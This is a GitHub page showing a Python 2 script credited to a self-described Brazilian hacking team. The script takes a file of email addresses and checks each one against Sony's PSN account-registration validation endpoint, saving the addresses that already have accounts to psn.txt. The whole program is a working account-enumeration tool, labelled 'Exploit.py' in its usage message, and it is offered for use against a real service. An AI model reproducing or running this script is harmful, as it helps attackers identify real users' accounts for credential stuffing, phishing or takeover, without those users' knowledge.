-
Notifications
You must be signed in to change notification settings - Fork 6
/
checker_psn_2017.py
91 lines (86 loc) · 4.03 KB
/
checker_psn_2017.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
#!/usr/bin/python
# CodeD By ./ChmoD
# *** Brazilians Hackers Team ***
import urllib2, urllib, sys
print " \n"
print " ``;` "
print " `,+@@@+ "
print " .+@@@@@@@; "
print " `;@@@@@@@@@@@ "
print " +@@@@@@@@@@@@@: "
print " ;@@@@@@@@@@@@@@@@ "
print " `@@@@@@@@@@@@@@@@@@` "
print " `@@@@@@@@@@@@@@@@@@# "
print " .@@@@@@@@@@@@@@@@@@, "
print " :@@@@@@@@@@@@@@@@@@ .'@@ "
print " #@@@@@@@@@@@@@@@@+; .+@@@@@ "
print " `@@@@@@@@@@@@@#;;+@+#@@@#:` "
print " #@@@@@@@@@@';'@@@@@@@:` "
print " `@@@@@@@+;;+@@@@@##` "
print " .@@@#;;+@@@@@#+',.,'. "
print " +;;'#@@@@#+;` ,: "
print " .#@@@@#++: @. ...` "
print " `'@@@@#++'. + .#++;;+ + "
print " ,@@@@@#++:``::+ `',:+,. , "
print " `@@@@#, #+` ',.`'. +` `` `, .+ "
print " @@:` ,+. ,`:``.: '. .',+++ # "
print " `` #+`++,.`:,`` :`+@@'@@@@' ```` "
print " #'`#+:`.,`:` .@@@+@# +`. : `: *** Brazilians Hackers Team *** "
print " #:: +.`,.., `@@,#@':. + : ' "
print " #: ` ',:`,, @#`` + + ' `,; "
print " #: ` `:''` @` #:.. , ' #+++: Cod3D By ./ChmoD"
print " #: , ;#'# + : `: #++ "
print " #; ' `'' , '. "
print " ;' ' # `@# Skype: BrazilObscure"
print " #.; ;` ,#.:; "
print " `+; '. @ ` "
print " :#; `@: :` `, "
print " .#+; `'+.' + "
print " .@++#'+@+@++` ;@. ' "
print " `' ., ` #:`# `+.#+ :. "
print " ., : @#;.`;`: `#@. "
print " +``,.;`@+,. '# "
print " @' ' ;`@:+`#`;` "
print " `#+ ,'`# :. ' "
print " ' #. :`#` '`. + "
print " # +. .:+: :`. . "
print " `, +, ..+ '` : "
print " ;` #+@:,:#.;`` ' "
print " #'##:#+. : `; ; "
print " #. #: `'` : "
print " #, ` . \n"
print " =============================="
print " = Checker Email PSN ="
print " ==============================\n"
sucesso = 0
falhou = 0
num = 0
try:
x= len(sys.argv[1])
except:
print "Modo De Usar: Exploit.py email.txt"
sys.exit()
with open(sys.argv[1],'r') as emails:
for line in emails:
num+=1
email = line.replace("\n","")
url="https://account.sonyentertainmentnetwork.com/liquid/reg/account/validate-login-name.action"
data={'struts.enableJSONValidation':'true',
'loginName':email,
'context':'createAccount',
'isExternal':'$external'}
data = urllib.urlencode(data)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
if "already" not in response.read():
falhou += 1
print "%s. Falhou" % num
pass
else:
open("psn.txt",'a').write(email+"\n")
sucesso += 1
print "%s. Sucesso" % num
print "====================================="
print "Sucesso: %s" % sucesso
print "Falhou: %s" % falhou
print "Total: %s" % num